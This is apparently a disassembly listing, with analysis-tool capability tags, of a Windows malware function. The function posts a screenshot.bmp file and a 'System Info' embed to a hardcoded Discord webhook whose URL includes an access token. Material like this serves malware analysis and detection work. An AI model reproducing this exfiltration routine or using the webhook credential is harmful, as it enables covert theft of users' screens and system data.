Function at 0x140002a60
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1e8]
sub rsp, 0x2c0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x140010040]
xor rax, rsp
mov qword [rbp + 0x190], rax
mov qword [rsp + 0x70], r8
xor r14d, r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.HTTP
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbx, rax
mov qword [rbp - 0x48], rax
test rax, rax
je 0x1400038b4
call fcn.140002490
mov r8d, 0x1bb
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rdx, str.discord.com
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rbp - 0x50], rax
test rax, rax
jne 0x140002b1d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400038b4
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov r8, rax
lea r9, [rbp + 0x35]
movabs r10, 0xcccccccccccccccd
nop dword [rax]
nop dword [rax + rax]
dec r9
mov rax, r10
mul r8
shr rdx, 3
movzx ecx, dl
shl cl, 2
lea eax, [rcx + rdx]
add al, al
sub r8b, al
add r8b, 0x30
mov byte [r9], r8b
mov r8, rdx
test rdx, rdx
jne 0x140002b40
lea r8, [rbp + 0x35]
mov rdx, r9
lea rcx, [rbp - 0x40]
call fcn.140007c90
nop
mov r8, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
sub rax, r8
mov esi, 0x19
cmp rax, rsi
jb 0x140002c12
lea rax, [r8 + 0x19]
mov qword [rbp - 0x30], rax
lea rbx, [rbp - 0x40]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x40]
lea rax, [0x14000b2b1]
lea r15, str._________________________
cmp rax, rbx
jbe 0x140002bd6
lea rax, [rbx + r8]
cmp r15, rax
ja 0x140002bd6
cmp rbx, r15
ja 0x140002bce
mov rdi, r14
jmp 0x140002bd9
mov rdi, rbx
sub rdi, r15
jmp 0x140002bd9
mov rdi, rsi
lea rcx, [rbx + 0x19]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
sub rsi, rdi
lea rdx, [r15 + 0x19]
add rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x40]
jmp 0x140002c23
mov qword [rsp + 0x28], rsi
mov rdx, rsi
lea rcx, [rbp - 0x40]
call fcn.140007dc0
movups xmm7, xmmword [rax]
movups xmmword [rbp + 0x58], xmm7
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rbp + 0x68], xmm6
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140002c7f
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c7a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c7a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000851c
movdqa xmm0, xmmword [0x14000b770]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
movq r15, xmm6
mov qword [rsp + 0x60], r15
sub rax, r15
cmp rax, 0x2c
jb 0x140003912
lea r14, [rbp + 0x58]
movq r12, xmm7
psrldq xmm6, 8
movq r13, xmm6
mov qword [rsp + 0x68], r13
cmp r13, 0xf
cmova r14, r12
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x48], xmm1
lea rsi, [r15 + 0x2c]
mov ebx, 0xf
lea rdi, [rbp + 0x38]
movabs rax, 0x8000000000000000
mov edx, 0x16
cmp rsi, rbx
jbe 0x140002d6e
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140002d36
mov rbx, rcx
add rax, 0x27
mov rcx, rax
call fcn.1400081d0
test rax, rax
je 0x14000385c
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002d6a
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140002d4a
xor edi, edi
jmp 0x140002d6a
cmp rcx, 0x1000
jb 0x140002d62
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400038f4
jmp 0x140002d17
call fcn.1400081d0
mov rdi, rax
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], rbx
movups xmm0, xmmword [str.Content_Type:_multipart_form_data__boundary]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x14000b2c8]
movups xmmword [rdi + 0x10], xmm1
movsd xmm0, qword [0x14000b2d8]
movsd qword [rdi + 0x20], xmm0
mov eax, dword [0x14000b2e0]
mov dword [rdi + 0x28], eax
lea rcx, [rdi + 0x2c]
mov r8, r15
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
xor r14d, r14d
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, str._api_webhooks_1289234330035425280_kR_XxN_bFPkrGpXFUAJiKIfcFm6Tpl0ZqA9OgA8uckr0ZeugrFFZjUew7i3TRyfxp1gB
lea rdx, str.POST
mov rbx, qword [rbp - 0x50]
mov rcx, rbx
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rsi, rax
mov qword [rbp - 0x58], rax
test rax, rax
jne 0x140002e10
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000382a
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x80]
call fcn.1400062c0
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rdi, qword [rax + 8]
add rdi, qword [rax]
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
mov qword [rbp + 0x30], r14
test rdi, rdi
je 0x140002ee3
movabs rcx, 0x7fffffffffffffff
cmp rdi, rcx
ja 0x140003918
cmp rdi, 0x1000
jb 0x140002eb1
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x14000391e
call fcn.1400081d0
test rax, rax
je 0x14000380a
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140002ebc
mov rcx, rdi
call fcn.1400081d0
mov rbx, rax
mov qword [rbp + 0x20], rbx
lea r14, [rbx + rdi]
mov qword [rbp + 0x30], r14
mov r8, rdi
xor edx, edx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov qword [rbp - 0x60], r14
mov qword [rbp + 0x28], r14
mov rsi, qword [rbp - 0x58]
jmp 0x140002eef
mov rax, qword [rbp + 0x28]
mov qword [rbp - 0x60], rax
mov rbx, qword [rbp + 0x20]
mov r8, rdi
mov rdx, rbx
lea rcx, [rbp + 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14000378f
lea r13, [rbp + 0x58]
cmp qword [rsp + 0x68], 0xf
cmova r13, r12
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
add r15, 2
mov edi, 0xf
lea rsi, [rbp - 0x20]
cmp r15, rdi
jbe 0x140002fd4
mov rdi, r15
or rdi, 0xf
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
jbe 0x140002f8f
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400081d0
test rax, rax
je 0x140002fc1
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140002fd0
cmp rdi, 0x16
mov ecx, 0x16
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140002fa9
xor esi, esi
jmp 0x140002fd0
cmp rcx, 0x1000
jb 0x140002fc8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400038fa
jmp 0x140002f74
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400081d0
mov rsi, rax
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], rdi
mov word [rsi], 0x2d2d
lea rcx, [rsi + 2]
mov r8, qword [rsp + 0x60]
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r15], 0
mov r8d, 2
lea rdx, [0x14000b2f0]
lea rcx, [rbp - 0x20]
call fcn.140007060
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14000307c
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003077
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003077
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000851c
movdqa xmm0, xmmword [0x14000b770]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
mov r8d, 0x37
lea rdx, str.Content_Disposition:_form_data__name_payload_json__r_n_r_n
lea rcx, [rbp]
call fcn.140007060
mov r9, qword [rsp + 0x70]
mov rdx, qword [r9 + 0x10]
mov qword [rbp - 0x68], rdx
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rdx
cmp rax, 0x49
jb 0x1400038ee
cmp qword [r9 + 0x18], 0xf
jbe 0x1400030d9
mov r9, qword [r9]
mov qword [rsp + 0x70], r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea r13, [rdx + 0x49]
mov edi, 0xf
lea rsi, [rsp + 0x40]
cmp r13, rdi
jbe 0x140003185
mov rdi, r13
or rdi, 0xf
cmp rdi, rcx
jbe 0x14000313d
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400081d0
test rax, rax
je 0x1400032c2
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140003177
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140003157
xor esi, esi
jmp 0x140003180
cmp rcx, 0x1000
jb 0x14000316f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003900
jmp 0x14000311e
call fcn.1400081d0
mov rsi, rax
mov r9, qword [rsp + 0x70]
mov rdx, qword [rbp - 0x68]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], rdi
movaps xmm0, xmmword [str._content_:_Started_App___embeds_:__title_:_System_Info___description_:_]
movups xmmword [rsi], xmm0
movaps xmm1, xmmword [0x14000b360]
movups xmmword [rsi + 0x10], xmm1
movaps xmm0, xmmword [0x14000b370]
movups xmmword [rsi + 0x20], xmm0
movaps xmm1, xmmword [0x14000b380]
movups xmmword [rsi + 0x30], xmm1
movsd xmm0, qword [0x14000b390]
movsd qword [rsi + 0x40], xmm0
movzx eax, byte [0x14000b398]
mov byte [rsi + 0x48], al
lea rcx, [rsi + 0x49]
mov r8, rdx
mov rdx, r9
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r13], 0
mov r8d, 0x16
lea rdx, str.___color_:5763719__r_n
lea rcx, [rsp + 0x40]
call fcn.140007060
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x78]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp]
call fcn.140007060
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x14000328e
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003288
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003288
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000851c
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400032ce
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400032c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000851c
lea r13, [rbp + 0x58]
cmp qword [rsp + 0x68], 0xf
cmova r13, r12
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov edi, 0xf
lea rsi, [rsp + 0x40]
cmp r15, rdi
jbe 0x140003385
mov rdi, r15
or rdi, 0xf
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
jbe 0x140003346
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400081d0
test rax, rax
je 0x140003487
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140003380
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140003360
xor esi, esi
jmp 0x140003380
cmp rcx, 0x1000
jb 0x140003378
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003906
jmp 0x140003327
call fcn.1400081d0
mov rsi, rax
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], rdi
mov word [rsi], 0x2d2d
lea rcx, [rsi + 2]
mov r8, qword [rsp + 0x60]
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r15], 0
mov r8d, 2
lea rdx, [0x14000b2f0]
lea rcx, [rsp + 0x40]
call fcn.140007060
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x78]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp]
call fcn.140007060
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140003453
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000344d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000344d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000851c
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140003493
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000348e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000348e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000851c
mov r8d, 0x48
lea rdx, str.Content_Disposition:_form_data__name_file___filename_screenshot.bmp__r_n
lea rcx, [rbp]
call fcn.140007060
mov r8d, 0x1b
lea rdx, str.Content_Type:_image_bmp_r_n_r_n
lea rcx, [rbp]
call fcn.140007060
mov r8, qword [rbp - 0x60]
sub r8, rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140007560
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
lea rcx, [rbp]
call fcn.140007060
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140003545
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003540
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003540
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000851c
lea r13, [rbp + 0x58]
cmp qword [rsp + 0x68], 0xf
cmova r13, r12
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov rax, qword [rsp + 0x60]
lea r15, [rax + 4]
mov edi, 0xf
lea rsi, [rsp + 0x40]
cmp r15, rdi
jbe 0x14000360a
mov rdi, r15
or rdi, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rdi, rcx
jbe 0x1400035c6
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400081d0
test rax, rax
je 0x14000370b
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140003600
cmp rdi, 0x16
mov ecx, 0x16
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x1400035e0
xor esi, esi
jmp 0x140003605
cmp rcx, 0x1000
jb 0x1400035f8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000390c
jmp 0x1400035a7
call fcn.1400081d0
mov rsi, rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], rdi
mov dword [rsi], 0x2d2d0a0d
lea rcx, [rsi + 4]
mov r8, rax
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r15], 0
mov r8d, 4
lea rdx, str.___r_n
lea rcx, [rsp + 0x40]
call fcn.140007060
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x78]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp]
call fcn.140007060
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x1400036d7
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400036d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000851c
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140003717
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003712
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003712
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000851c
lea r9, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova r9, qword [rbp]
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0xf
cmova rdx, qword [rbp + 0x38]
mov eax, dword [rbp + 0x10]
mov dword [rsp + 0x20], eax
mov r8d, dword [rbp + 0x48]
mov rsi, qword [rbp - 0x58]
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpSendRequestA]
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14000378a
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003785
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003785
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000851c
mov r13, qword [rsp + 0x68]
lea rcx, [rbp + 0x90]
call fcn.140006fa0
test rax, rax
jne 0x1400037c3
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x80]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
test rbx, rbx
je 0x14000381d
sub r14, rbx
mov rax, rbx
cmp r14, 0x1000
jb 0x140003811
add r14, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003811
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r14
mov rcx, rbx
call fcn.14000851c
nop
lea rcx, [rbp + 0x80]
call fcn.140003930
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x140003868
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003863
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003863
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000851c
movdqa xmm0, xmmword [0x14000b770]
movdqu xmmword [rbp + 0x48], xmm0
mov byte [rbp + 0x38], 0
cmp r13, 0xf
jbe 0x1400038b4
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x1400038ac
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400038ac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.14000851c
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.1400081b0
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001720
nop
call fcn.140001660
nop
call fcn.140001660
nop
call fcn.140001660
int3
call fcn.140001660
int3
call fcn.140001660
nop
call fcn.140001720
nop
call fcn.140007c70
int3
call fcn.140001660
int3